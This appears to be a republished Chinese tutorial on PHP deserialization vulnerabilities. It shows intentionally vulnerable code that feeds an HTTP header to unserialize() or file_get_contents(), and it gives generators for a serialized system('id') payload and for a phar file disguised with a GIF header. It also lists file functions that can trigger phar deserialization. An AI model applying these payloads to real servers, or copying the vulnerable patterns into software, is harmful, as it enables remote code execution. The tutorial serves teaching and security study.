php反序列化漏洞

栏目: PHP · 发布时间: 7年前

内容简介:作者:lp原文地址:https://secvul.com/topics/1306.html反序列化漏洞产生原因之一是在destruct()、wakeup()方法中使用了危险函数:

作者:lp

原文地址:https://secvul.com/topics/1306.html

php反序列化漏洞:unserialize();phar伪协议

魔术方法

反序列化漏洞产生原因之一是在destruct()、wakeup()方法中使用了危险函数:

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

    析构函数__destruct():当对象被销毁时会自动调用。

    __wakeup() :unserialize()时会自动调用。

unserialize()触发

存在漏洞代码:

<?php
class test{
function __wakeup(){
$p = $this->m;
$q = $this->code;
$p($q);
}
}
$a = getenv('HTTP_TEST');
$b = unserialize($a);
?>

生成payload代码:

<?php
class test{
var $code;
var $m;
function __construct($code, $m){
$this->code = $code;
$this->m = $m;
}
}
$a = new test('id', 'system');
echo serialize($a);
?>

生成payload为:

O:4:"test":2:{s:4:"code";s:2:"id";s:1:"m";s:6:"system";}

执行效果:

php反序列化漏洞

phar伪协议触发

利用条件:

  • phar文件要能够上传到服务器端

    要有可用的魔术方法作为“跳板”

    文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

可利用的文件操作函数:

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

file_get_contents('phar://phar.phar/test.txt')

上述代码会自动进行反序列化操作

存在漏洞代码:

<?php
class test{
function __wakeup(){
$p = $this->m;
$q = $this->code;
$p($q);
}
}
$a = getenv('HTTP_TEST');
$b = file_get_contents($a);
?>

生成payload代码:

<?php
class test{
var $code;
var $m;
function __construct($code, $m){
$this->code = $code;
$this->m = $m;
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new test('id','system');//反序列对象
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

注意:要生成phar文件,需要设置php.ini phar.readonly配置项为Off

php反序列化漏洞

执行效果:

php反序列化漏洞


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Caching

Web Caching

Duane Wessels / O'Reilly Media, Inc. / 2001-6 / 39.95美元

On the World Wide Web, speed and efficiency are vital. Users have little patience for slow web pages, while network administrators want to make the most of their available bandwidth. A properly design......一起来看看 《Web Caching》 这本书的介绍吧!

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具